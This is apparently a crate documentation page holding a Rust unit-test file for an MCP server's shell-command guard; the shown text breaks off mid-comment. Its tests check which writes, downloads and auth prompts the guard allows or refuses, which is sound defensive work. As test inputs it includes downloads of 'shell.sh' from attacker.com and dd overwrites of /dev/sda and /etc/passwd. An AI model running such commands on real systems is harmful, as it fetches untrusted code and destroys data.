lean-ctx-server 3.12.3

The LeanCTX MCP server and its tools on top of LeanCTX | OSS.
Documentation
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
1001
1002
1003
1004
1005
1006
1007
1008
1009
1010
1011
1012
1013
1014
1015
1016
1017
1018
1019
1020
1021
1022
1023
1024
1025
1026
1027
1028
1029
1030
1031
1032
1033
1034
1035
1036
1037
1038
1039
1040
1041
1042
1043
1044
1045
1046
1047
1048
1049
1050
1051
1052
1053
1054
1055
1056
1057
1058
1059
1060
1061
1062
1063
1064
1065
1066
1067
1068
1069
1070
1071
1072
1073
1074
1075
1076
1077
1078
1079
1080
1081
1082
1083
1084
1085
1086
1087
1088
1089
1090
1091
1092
1093
1094
1095
1096
1097
1098
1099
1100
1101
1102
1103
1104
1105
1106
1107
1108
1109
1110
1111
1112
1113
1114
1115
1116
1117
1118
1119
1120
1121
1122
1123
1124
1125
1126
1127
1128
1129
1130
1131
1132
1133
1134
1135
1136
1137
1138
1139
1140
1141
1142
1143
1144
1145
1146
1147
1148
1149
1150
1151
1152
1153
1154
1155
1156
1157
1158
1159
1160
1161
1162
1163
1164
1165
1166
1167
1168
1169
1170
1171
1172
1173
1174
1175
1176
1177
1178
1179
1180
1181
1182
1183
1184
1185
1186
1187
1188
1189
1190
1191
1192
1193
1194
1195
1196
1197
1198
1199
1200
1201
1202
1203
1204
1205
1206
1207
1208
1209
1210
1211
1212
1213
1214
1215
1216
1217
1218
1219
1220
1221
1222
1223
1224
1225
1226
1227
1228
1229
1230
1231
1232
1233
1234
1235
1236
1237
1238
1239
1240
1241
1242
1243
1244
1245
1246
1247
1248
1249
1250
1251
1252
1253
1254
1255
1256
1257
1258
1259
1260
1261
1262
1263
1264
1265
1266
1267
1268
1269
1270
1271
1272
1273
1274
1275
1276
1277
1278
1279
1280
1281
1282
1283
1284
1285
1286
1287
1288
1289
1290
1291
1292
1293
1294
1295
1296
1297
1298
1299
1300
1301
1302
1303
1304
1305
1306
1307
1308
1309
1310
1311
1312
1313
1314
1315
1316
1317
1318
1319
1320
1321
1322
1323
1324
1325
1326
1327
1328
1329
1330
1331
1332
1333
1334
1335
1336
1337
1338
1339
1340
1341
1342
1343
1344
1345
1346
1347
1348
1349
1350
1351
1352
1353
1354
1355
1356
1357
1358
1359
1360
1361
1362
1363
1364
1365
1366
1367
1368
1369
1370
1371
1372
1373
1374
1375
1376
1377
1378
1379
1380
1381
1382
1383
1384
1385
1386
1387
1388
1389
1390
1391
1392
1393
1394
1395
1396
1397
1398
1399
1400
1401
1402
1403
1404
1405
1406
1407
1408
1409
1410
1411
1412
1413
1414
1415
1416
1417
1418
1419
1420
1421
1422
1423
1424
1425
1426
1427
1428
1429
1430
1431
1432
1433
1434
1435
1436
1437
1438
1439
1440
1441
1442
1443
1444
1445
1446
1447
1448
1449
1450
1451
1452
1453
1454
1455
1456
1457
1458
1459
1460
1461
1462
1463
1464
1465
1466
1467
1468
1469
1470
1471
1472
1473
1474
1475
1476
1477
1478
1479
1480
1481
1482
1483
1484
1485
1486
1487
1488
1489
1490
1491
1492
1493
1494
1495
1496
1497
1498
1499
1500
1501
1502
1503
1504
1505
1506
1507
1508
1509
1510
1511
1512
1513
1514
1515
1516
1517
1518
1519
1520
1521
1522
1523
1524
1525
1526
1527
1528
1529
1530
1531
1532
1533
1534
1535
1536
1537
1538
1539
1540
1541
1542
1543
1544
// SPDX-License-Identifier: Apache-2.0
//! Unit tests for the ctx_shell guard, compression and auth-flow detection.
//!
//! Split out of `ctx_shell.rs` (#1768 grew it past the 1500-line LOC gate).
//! The module is unchanged otherwise: `super` still resolves to `ctx_shell`,
//! so every assertion keeps reaching the private items it pins.

use super::*;

#[test]
fn normalize_cmd_no_change_on_unix() {
    if cfg!(windows) {
        return;
    }
    assert_eq!(
        normalize_command_for_shell("cd /tmp; ls -la"),
        "cd /tmp; ls -la"
    );
}

#[test]
fn validate_allows_safe_commands() {
    assert!(validate_command("git status").is_none());
    assert!(validate_command("cargo test").is_none());
    assert!(validate_command("npm run build").is_none());
    assert!(validate_command("ls -la").is_none());
}

#[test]
fn validate_blocks_file_writes() {
    assert!(validate_command("echo 'data' > output.txt").is_some());
    assert!(validate_command("tee output.txt").is_some());
    assert!(validate_command("printf 'hello' > test.txt").is_some());
}

#[test]
#[cfg(unix)]
fn validate_allows_literal_temp_redirect_and_tee_targets() {
    let paths = lean_ctx::core::config::default_shell_write_allow_paths();
    assert!(
        validate_command_with_write_allow_paths(
            "go test ./... > /private/tmp/agent-test.log 2>&1",
            &paths,
            None
        )
        .is_none()
    );
    assert!(
        validate_command_with_write_allow_paths("tee /private/tmp/agent-test.log", &paths, None)
            .is_none()
    );
    assert!(
        validate_command_with_write_allow_paths(
            "go test ./... | tee /private/tmp/agent-test.log",
            &paths,
            None
        )
        .is_none()
    );
}

#[test]
fn validate_blocks_redirects_and_piped_tee_into_project_root() {
    // #1778: the test supplies both sides of the comparison (this path is passed
    // as `project_root` below), so it needs *a* real absolute directory, not the
    // process cwd — which other tests mutate via `set_current_dir` while this one
    // runs in parallel.
    let root = std::path::PathBuf::from(env!("CARGO_MANIFEST_DIR"));
    let target = root.join("agent-test.log");
    let target = target.to_string_lossy();
    let paths = lean_ctx::core::config::default_shell_write_allow_paths();
    assert!(
        validate_command_with_write_allow_paths(
            &format!("echo output > {target}"),
            &paths,
            Some(root.to_string_lossy().as_ref())
        )
        .is_some()
    );
    assert!(
        validate_command_with_write_allow_paths(
            &format!("go test | tee {target}"),
            &paths,
            Some(root.to_string_lossy().as_ref())
        )
        .is_some()
    );
}

#[test]
#[cfg(unix)]
fn validate_allows_configured_external_write_path() {
    let paths = vec!["/var/agent-scratch".to_string()];
    assert!(
        validate_command_with_write_allow_paths(
            "go test ./... >> /var/agent-scratch/gotest.log",
            &paths,
            Some("/workspace/project")
        )
        .is_none()
    );
    assert!(
        validate_command_with_write_allow_paths(
            "go test ./... | tee /var/agent-scratch/gotest.log",
            &paths,
            Some("/workspace/project")
        )
        .is_none()
    );
    assert!(
        validate_command_with_write_allow_paths(
            "echo output > /var/other/gotest.log",
            &paths,
            Some("/workspace/project")
        )
        .is_some()
    );
}

#[test]
fn validate_blocks_heredoc_with_file_redirect() {
    assert!(validate_command("cat > file.py <<'EOF'\nprint('hi')\nEOF").is_some());
    assert!(validate_command("cat <<EOF > output.txt\nhello\nEOF").is_some());
    assert!(validate_command("cat <<'END' >> logfile.txt\ndata\nEND").is_some());
}

#[test]
fn validate_allows_heredoc_without_file_redirect() {
    assert!(validate_command("cat <<EOF\nhello world\nEOF").is_none());
    assert!(validate_command("psql -d mydb <<EOF\nSELECT 1;\nEOF").is_none());
    assert!(validate_command("git commit -m \"$(cat <<'EOF'\nfix: something\nEOF\n)\"").is_none());
    assert!(validate_command("grep pattern <<EOF\nfoo\nbar\nEOF").is_none());
}

#[test]
fn validate_blocks_oversized_commands() {
    let huge = "x".repeat(MAX_COMMAND_BYTES + 1);
    let result = validate_command(&huge);
    assert!(result.is_some());
    assert!(result.unwrap().contains("too large"));
}

#[test]
fn validate_allows_cat_without_redirect() {
    assert!(validate_command("cat file.txt").is_none());
}

// --- GH #903: literal `>` in quoted prose is not a redirect ---

#[test]
fn validate_allows_escaped_quotes_with_angle_brackets() {
    // `\"` inside a double-quoted string must not toggle quote state;
    // the `>` in `<root>` is quoted data, not a redirect.
    assert!(
        validate_command(
            "gh issue comment 1 --body \"$(printf 'says \\\"root: <root>\\\" only')\""
        )
        .is_none()
    );
    assert!(validate_command("echo \"say \\\">hi<\\\" ok\"").is_none());
    // escaped `>` outside quotes is a literal, not a redirect
    assert!(validate_command("echo a \\> b").is_none());
}

#[test]
fn validate_still_blocks_redirect_after_escapes() {
    // the escape handling must not hide a real redirect later on
    assert!(validate_command("echo \"a \\\"b\\\"\" > out.txt").is_some());
    assert!(validate_command("echo \\\\ > out.txt").is_some());
}

// --- GH #897: heredoc-to-stdin and /dev/null redirects are not file writes ---

#[test]
fn heredoc_stdin_without_redirect_is_allowed() {
    assert!(validate_command("git commit -F - <<'EOF'\nfix: something\nEOF").is_none());
    assert!(validate_command("kubectl apply -f - <<EOF\napiVersion: v1\nEOF").is_none());
    assert!(validate_command("git apply <<'PATCH'\n--- a/f\n+++ b/f\nPATCH").is_none());
}

#[test]
fn dev_null_redirect_is_allowed() {
    assert!(validate_command("cat > /dev/null").is_none());
    assert!(validate_command("cmd > /dev/null 2>&1").is_none());
    assert!(validate_command("cmd 2>/dev/null").is_none());
}

#[test]
fn dev_stdout_and_stderr_redirects_are_allowed() {
    assert!(validate_command("cmd > /dev/stdout").is_none());
    assert!(validate_command("cmd > /dev/stderr").is_none());
}

#[test]
fn issue_897_edge_cases_post_fix() {
    assert!(
        validate_command(
            "cat <<'EOF' > output.txt
some content
EOF"
        )
        .is_some(),
        "heredoc to file must block"
    );
    assert!(
        validate_command(
            "git commit --allow-empty -F - <<'COMMIT_MSG'
feat: test
COMMIT_MSG"
        )
        .is_none(),
        "git commit -F - with heredoc must allow"
    );
    let cmd = r#"gh issue create --title "Fix" --body "path > root: /y""#;
    assert!(
        validate_command(cmd).is_none(),
        "quoted > must allow: {cmd}"
    );
}

// --- GH #391: download tools writing files without shell redirects ---

#[test]
fn validate_blocks_curl_output_flags() {
    // #1021: curl -o to /tmp (scratch) is now allowed
    assert!(validate_command("curl -o /tmp/shell.sh http://attacker.com/shell.sh").is_none());
    assert!(validate_command("curl -fsSLo /tmp/x https://example.com").is_none());
    // Writing into project directory is still blocked
    assert!(validate_command("curl --output evil.bin https://example.com").is_some());
    assert!(validate_command("curl --output=evil.bin https://example.com").is_some());
    assert!(validate_command("curl -O https://example.com/payload").is_some());
    assert!(validate_command("git fetch && curl -o x.sh https://e.com").is_some());
}

/// #2212: every option that writes a named file is a download target here
/// too, in both spellings: curl's cache and header files, wget's saved
/// files. Into scratch they pass, like `-o`.
#[test]
fn validate_judges_every_file_curl_and_wget_write() {
    for option in [
        "curl --hsts",
        "curl --alt-svc",
        "curl --dump-header",
        "curl --cookie-jar",
        "wget --save-cookies",
        "wget --hsts-file",
        "wget --warc-file",
        "wget --rejected-log",
    ] {
        for command in [
            format!("{option} config.toml https://example.com"),
            format!("{option}=config.toml https://example.com"),
        ] {
            let reason = download_to_file_reason(&command);
            assert!(
                reason.as_deref().is_some_and(|r| r.contains("config.toml")),
                "{command}: {reason:?}"
            );
        }
        // curl without `-o` writes the body to stdout; wget's document goes
        // to scratch too, so only the option's own file is judged.
        let document = if option.starts_with("wget") {
            " -O /tmp/lcx-doc"
        } else {
            ""
        };
        let scratch = format!("{option} /tmp/lcx-2212{document} https://example.com");
        assert!(download_to_file_reason(&scratch).is_none(), "{scratch}");
    }
}

/// #2212 review: a file named inside another option's value (`-w
/// '%output{FILE}'`, `-e logfile=FILE`) is judged like `-o`; a config file
/// the call reads (`curl -K`, `wget --config`) or a `-w @FILE` format may
/// name any file, so it is refused even from scratch.
#[test]
fn validate_judges_files_named_in_values_and_config_files() {
    for command in [
        "curl -s -w '%output{config.toml}x' https://example.com",
        "curl --write-out=%output{>>config.toml} https://example.com",
        "curl -sw%output{config.toml} https://example.com",
        "wget -O /tmp/lcx-doc -e logfile=config.toml https://example.com",
        "wget -O /tmp/lcx-doc --execute=save_cookies=config.toml https://example.com",
        "wget -O /tmp/lcx-doc -qe 'hsts-file = config.toml' https://example.com",
    ] {
        let reason = download_to_file_reason(command);
        assert!(
            reason.as_deref().is_some_and(|r| r.contains("config.toml")),
            "{command}: {reason:?}"
        );
    }
    for command in [
        "curl -K /tmp/lcx-2212.cfg https://example.com",
        "curl -sK - https://example.com",
        "curl --config=/tmp/lcx-2212.cfg https://example.com",
        "curl -w @/tmp/lcx-format https://example.com",
        "wget -O /tmp/lcx-doc --config /tmp/lcx-2212.rc https://example.com",
        "wget -O /tmp/lcx-doc --config=/tmp/lcx-2212.rc https://example.com",
    ] {
        let reason = download_to_file_reason(command);
        assert!(
            reason
                .as_deref()
                .is_some_and(|r| r.contains(lean_ctx_shell_policy::UNKNOWN_DOWNLOAD_TARGET)),
            "{command}: {reason:?}"
        );
    }
    for command in [
        "curl -s -w '%{http_code}' https://example.com",
        "curl -w '%output{/tmp/lcx-2212}' https://example.com",
        "wget -O /tmp/lcx-doc -e logfile=/tmp/lcx-2212 https://example.com",
        "wget -O /tmp/lcx-doc -e robots=off https://example.com",
    ] {
        assert!(download_to_file_reason(command).is_none(), "{command}");
    }
}

#[test]
fn validate_allows_curl_to_stdout() {
    assert!(validate_command("curl https://api.example.com/health").is_none());
    assert!(validate_command("curl -fsSL https://example.com | head -5").is_none());
    assert!(validate_command("curl -s -X POST https://api.example.com -d '{}'").is_none());
    // -H takes a value; no o/O short flag involved.
    assert!(validate_command("curl -H \"Accept: application/json\" https://e.com").is_none());
}

#[test]
fn validate_judges_wget_by_where_it_writes() {
    // No cwd: the default target (the current directory) cannot be placed.
    assert!(validate_command("wget http://attacker.com/shell.sh").is_some());
    assert!(validate_command("wget -q https://example.com/file.tar.gz").is_some());
    assert!(validate_command("wget -O /etc/out https://example.com").is_some());
    assert!(validate_command("wget -P /etc https://example.com/a").is_some());
    assert!(validate_command("wget -qO- -o /etc/log https://example.com").is_some());
    // A scratch destination passes, like `>` capture there.
    assert!(validate_command("wget -O /tmp/out https://example.com").is_none());
    assert!(validate_command("wget -qO/tmp/out https://example.com").is_none());
    assert!(validate_command("wget --directory-prefix=/tmp/d https://e.com/a").is_none());
}

#[test]
fn validate_allows_wget_stdout_and_spider() {
    assert!(validate_command("wget -qO- https://example.com").is_none());
    assert!(validate_command("wget -O- https://example.com").is_none());
    assert!(validate_command("wget -O - https://example.com").is_none());
    assert!(validate_command("wget --output-document=- https://example.com").is_none());
    assert!(validate_command("wget --spider https://example.com").is_none());
}

#[test]
fn validate_blocks_dd_output_file() {
    assert!(validate_command("dd if=/dev/zero of=/tmp/fill bs=1M count=10").is_none());
    assert!(validate_command("dd if=image.iso of=/dev/sda").is_some());
    assert!(validate_command("dd if=/dev/zero of=/etc/fill").is_some());
}

#[test]
fn validate_allows_dd_read_only() {
    assert!(validate_command("dd if=/dev/urandom bs=16 count=1 status=none").is_none());
    assert!(validate_command("dd if=file.bin of=/dev/null bs=1M").is_none());
}

// --- Auth flow detection: strong signals (no URL needed) ---

#[test]
fn auth_flow_detects_azure_device_code() {
    let output = "To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code ABCD1234 to authenticate.";
    assert!(contains_auth_flow(output));
}

#[test]
fn auth_flow_detects_gh_auth_one_time_code() {
    let output = "! First copy your one-time code: ABCD-1234\n- Press Enter to open github.com in your browser...";
    assert!(contains_auth_flow(output));
}

#[test]
fn auth_flow_detects_device_code_json() {
    let output = r#"{"device_code":"abc123","user_code":"ABCD-1234","verification_uri":"https://example.com/activate"}"#;
    assert!(contains_auth_flow(output));
}

#[test]
fn auth_flow_detects_verification_uri_field() {
    let output =
        r#"{"verification_uri": "https://login.microsoftonline.com/common/oauth2/deviceauth"}"#;
    assert!(contains_auth_flow(output));
}

#[test]
fn auth_flow_detects_user_code_field() {
    let output = r#"{"user_code": "FGHJK-LMNOP", "expires_in": 900}"#;
    assert!(contains_auth_flow(output));
}

// --- Auth flow detection: weak signals (require URL) ---

#[test]
fn auth_flow_detects_gcloud_with_url() {
    let output = "Go to the following link in your browser:\n\n    https://accounts.google.com/o/oauth2/auth?response_type=code\n\nEnter verification code: ";
    assert!(contains_auth_flow(output));
}

#[test]
fn auth_flow_detects_aws_sso_with_url() {
    let output = "If the browser does not open, open the following URL:\nhttps://device.sso.us-east-1.amazonaws.com/\n\nThen enter the code:\nABCD-EFGH";
    assert!(contains_auth_flow(output));
}

#[test]
fn auth_flow_detects_firebase_with_url() {
    let output = "Visit this URL on this device to log in:\nhttps://accounts.google.com/o/oauth2/auth?...\n\nWaiting for authentication...";
    assert!(contains_auth_flow(output));
}

#[test]
fn auth_flow_detects_generic_browser_open_with_url() {
    let output =
        "Open your browser to https://login.example.com/device and enter the code XYZW-1234";
    assert!(contains_auth_flow(output));
}

// --- False positive protection ---

#[test]
fn auth_flow_ignores_normal_build_output() {
    let output = "Compiling lean-ctx v2.21.9\nFinished release profile\n";
    assert!(!contains_auth_flow(output));
}

#[test]
fn auth_flow_ignores_git_output() {
    let output = "On branch main\nYour branch is up to date with 'origin/main'.\nnothing to commit, working tree clean";
    assert!(!contains_auth_flow(output));
}

#[test]
fn auth_flow_ignores_npm_install_output() {
    let output = "added 150 packages in 3s\n\n24 packages are looking for funding\n  run `npm fund` for details\nhttps://npmjs.com/package/lean-ctx";
    assert!(!contains_auth_flow(output));
}

#[test]
fn auth_flow_ignores_docs_mentioning_auth() {
    let output = "The authorization code grant type is the most common OAuth flow.\nSee https://oauth.net/2/grant-types/ for details.";
    assert!(!contains_auth_flow(output));
}

#[test]
fn auth_flow_weak_signal_requires_url() {
    let output = "Please enter the code ABC123 in the terminal";
    assert!(!contains_auth_flow(output));
}

#[test]
fn auth_flow_weak_signal_without_url_is_ignored() {
    let output = "Waiting for authentication to complete... done!";
    assert!(!contains_auth_flow(output));
}

#[test]
fn auth_flow_ignores_virtualenv_activate() {
    let output = "Created virtualenv at .venv\nRun: source .venv/bin/activate";
    assert!(!contains_auth_flow(output));
}

#[test]
fn auth_flow_ignores_api_response_with_code_field() {
    let output = r#"{"status": "ok", "code": 200, "message": "success"}"#;
    assert!(!contains_auth_flow(output));
}

// --- Integration: handle() preserves auth flow ---

#[test]
fn handle_preserves_auth_flow_output_fully() {
    let output = "To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code ABCD1234 to authenticate.\nWaiting for you...\nLine 3\nLine 4\nLine 5\nLine 6\nLine 7\nLine 8\nLine 9\nLine 10\nLine 11\nLine 12\nLine 13";
    // az login is Passthrough via OutputPolicy, so all content is preserved
    let result = handle("az login --use-device-code", output, 0, CrpMode::Off);
    assert!(result.contains("ABCD1234"), "auth code must be preserved");
    assert!(result.contains("devicelogin"), "URL must be preserved");
    assert!(
        result.contains("Line 13"),
        "all lines must be preserved (no truncation)"
    );
}

#[test]
fn handle_compresses_normal_output_not_auth() {
    let lines: Vec<String> = (1..=20).map(|i| format!("Line {i} of output")).collect();
    let output = lines.join("\n");
    let result = handle("some-tool check", &output, 0, CrpMode::Off);
    assert!(
        !result.contains("auth/device-code flow detected"),
        "normal output must not trigger auth detection"
    );
    assert!(
        result.len() < output.len() + 100,
        "normal output should be compressed, not inflated"
    );
}

#[test]
fn is_search_command_detects_grep() {
    assert!(is_search_command("grep -r pattern src/"));
    assert!(is_search_command("rg pattern src/"));
    assert!(is_search_command("find . -name '*.rs'"));
    assert!(is_search_command("fd pattern"));
    assert!(is_search_command("ag pattern src/"));
    assert!(is_search_command("ack pattern"));
}

#[test]
fn is_search_command_rejects_non_search() {
    assert!(!is_search_command("cargo build"));
    assert!(!is_search_command("git status"));
    assert!(!is_search_command("npm install"));
    assert!(!is_search_command("cat file.rs"));
}

#[test]
fn generic_compress_preserves_short_output() {
    let lines: Vec<String> = (1..=20).map(|i| format!("Line {i}")).collect();
    let output = lines.join("\n");
    let result = generic_compress(&output);
    assert_eq!(result, output);
}

#[test]
fn generic_compress_scales_with_length() {
    let lines: Vec<String> = (1..=60).map(|i| format!("Line {i}")).collect();
    let output = lines.join("\n");
    let result = generic_compress(&output);
    assert!(result.contains("truncated"));
    let shown_count = result.lines().count();
    assert!(
        shown_count > 10,
        "should show more than old 6-line limit, got {shown_count}"
    );
    assert!(shown_count < 60, "should be truncated, not full output");
}

#[test]
fn handle_preserves_search_results() {
    let lines: Vec<String> = (1..=30)
        .map(|i| format!("src/file{i}.rs:42: fn search_result()"))
        .collect();
    let output = lines.join("\n");
    let result = handle("rg search_result src/", &output, 0, CrpMode::Off);
    for i in 1..=30 {
        assert!(
            result.contains(&format!("file{i}")),
            "search result file{i} should be preserved in output"
        );
    }
}

// --- GH #931: unquoted heredoc body > must not trip redirect scanner ---

#[test]
fn unquoted_heredoc_gt_in_body_not_blocked() {
    let cmd = "psql <<SQL\nSELECT * FROM t WHERE x > 0;\nSQL";
    assert!(
        validate_command(cmd).is_none(),
        "unquoted heredoc body with > must not be flagged as redirect"
    );
}

#[test]
fn unquoted_heredoc_append_in_body_not_blocked() {
    let cmd = "cat <<END\nline with >> inside\nEND";
    assert!(
        validate_command(cmd).is_none(),
        "unquoted heredoc body with >> must not be flagged"
    );
}

// --- GH #1142: literal scratch paths outside project root ---

// Since #1467, Unix scratch prefixes (/tmp, /private/tmp, /var/tmp) are
// recognised cross-platform — agents generate `/tmp` redirects even on
// Windows (Git Bash, WSL).
#[test]
fn issue_1142_private_tmp_redirect_allowed() {
    // exact repro from the issue: capture test log under /private/tmp scratchpad
    assert!(
        validate_command(
            "go test ./... > /private/tmp/claude-502/scratchpad/gotest.log 2>&1; echo EXIT:$?"
        )
        .is_none()
    );
    assert!(validate_command("cargo test > /var/tmp/out.log 2>&1").is_none());
    assert!(validate_command("make 2>> /private/tmp/err.log").is_none());
    // quoted targets must be judged like unquoted ones
    assert!(validate_command("cargo test > \"/private/tmp/x/build.log\"").is_none());
}

#[test]
fn issue_1142_quoted_scratch_target_allowed() {
    // quoted targets must be judged like unquoted ones
    assert!(validate_command("cargo test > \"$TMPDIR/build.log\"").is_none());
    assert!(validate_command("cargo test > '$SCRATCH/build.log'").is_none());
}

#[test]
fn issue_1142_fd_dup_allowed() {
    assert!(validate_command("echo error >&2").is_none());
    assert!(validate_command("printf 'x' 1>&2 && git status").is_none());
}

#[test]
fn issue_1142_project_writes_still_blocked() {
    assert!(validate_command("cargo test > build.log").is_some());
    assert!(validate_command("echo x > /Users/me/project/out.txt").is_some());
    assert!(validate_command("echo x > \"./out.txt\"").is_some());
    // /tmpfoo is not a temp dir
    assert!(validate_command("echo x > /private/tmpfoo/out.txt").is_some());
}

#[test]
fn issue_1142_noclobber_to_scratch_allowed() {
    assert!(validate_command("cargo test >|/tmp/out.log").is_none());
    assert!(validate_command("echo x >|out.txt").is_some());
}

#[test]
fn real_redirect_after_heredoc_still_blocked() {
    let cmd = "cat <<EOF > output.txt\ndata\nEOF";
    assert!(
        validate_command(cmd).is_some(),
        "redirect OUTSIDE heredoc body must still block"
    );
}

// --- GH #1467: /tmp writes must be allowed on every platform ---

#[test]
fn issue_1467_tmp_redirect_cross_platform() {
    assert!(
        validate_command("wc -l /some/file > /tmp/result.txt").is_none(),
        "/tmp redirect must be allowed on every platform"
    );
    assert!(
        validate_command("grep pattern file.txt > /tmp/matches.log 2>&1").is_none(),
        "/tmp redirect with stderr merge must be allowed"
    );
    assert!(
        validate_command("cat large.csv > /var/tmp/subset.csv").is_none(),
        "/var/tmp redirect must be allowed cross-platform"
    );
}

#[test]
fn issue_1467_non_tmp_still_blocked() {
    assert!(
        validate_command("echo secret > /tmpfoo/leak.txt").is_some(),
        "/tmpfoo is not /tmp — must be blocked"
    );
}

// --- GH #1671: the tee refusal names the rule that produced it ---

/// The message said "tee without pipe" and then, one sentence later, that
/// piped tee is allowed — rejecting a command while describing it as
/// permitted. The rule is the destination.
#[test]
fn the_tee_refusal_does_not_contradict_itself() {
    let msg = validate_command_with_write_allow_paths(
        "echo hi | tee /Users/me/proj/dist/index.html",
        &[],
        Some("/Users/me/proj"),
    )
    .expect("a project destination is refused");

    assert!(
        !msg.contains("without pipe"),
        "the command is piped; naming the pipe is the wrong reason: {msg}"
    );
    assert!(
        !msg.contains("Piped tee (cmd | tee file) is allowed"),
        "must not call the rejected form permitted: {msg}"
    );
    assert!(
        msg.contains("/Users/me/proj/dist/index.html"),
        "name the destination that caused it: {msg}"
    );
    assert!(
        msg.contains("destination"),
        "state the rule that produced the verdict: {msg}"
    );
}

/// Every form the reporter tried is judged the same way, so the message
/// must not send the caller off to restructure the pipeline.
#[test]
fn the_pipe_position_never_changes_the_tee_verdict() {
    for cmd in [
        "tee /Users/me/proj/out.txt",
        "echo hi | tee /Users/me/proj/out.txt",
        "echo hi | tee /Users/me/proj/out.txt | wc -l",
    ] {
        let msg = validate_command_with_write_allow_paths(cmd, &[], Some("/Users/me/proj"))
            .unwrap_or_else(|| panic!("must be refused: {cmd}"));
        assert!(msg.contains("Piping makes no difference"), "{cmd}: {msg}");
    }
    // A scratch destination stays allowed, piped or not.
    for cmd in ["tee /tmp/probe.txt", "echo hi | tee /tmp/probe.txt"] {
        assert!(
            validate_command_with_write_allow_paths(cmd, &[], Some("/Users/me/proj")).is_none(),
            "{cmd}"
        );
    }
}

// --- GH #1672: a heredoc body is data, not a command ---

/// Found live: a commit message quoting the guard's own advice was refused
/// as if it were a download. Nothing runs inside a heredoc body.
#[test]
fn a_download_flag_inside_a_heredoc_body_is_not_a_download() {
    let commit = "git commit -F - <<'MSG'\n\
             fix(x): something\n\
             \n\
             The reported case: cd /scratch && curl -sL -o shot.png https://e/x\n\
             MSG";
    assert!(
        validate_command(commit).is_none(),
        "a heredoc body is opaque data: {:?}",
        validate_command(commit)
    );

    for body in [
        "cat <<'EOF'\nwget https://example.com/a.tar.gz\nEOF",
        "cat <<'EOF'\ndd if=/dev/zero of=/etc/passwd\nEOF",
    ] {
        assert!(validate_command(body).is_none(), "{body}");
    }
}

/// The guard itself is untouched: a real download outside a heredoc, and
/// one on the same line as a heredoc redirection, are still refused.
#[test]
fn a_real_download_beside_a_heredoc_is_still_blocked() {
    assert!(
        validate_command("curl -sL -o shot.png https://e/x && cat <<'EOF'\nharmless\nEOF")
            .is_some()
    );
    assert!(
        validate_command("cat <<'EOF'\nharmless\nEOF\ncurl -sL -o shot.png https://e/x").is_some()
    );
}

// --- GH #1661: a relative download target is judged where it lands ---

/// The reported case: `cd <scratchpad> && curl -o shot.png <url>`. The
/// destination is inside the sanctioned scratch directory, but as the bare
/// string `shot.png` it read as a project write — so fetching a binary had
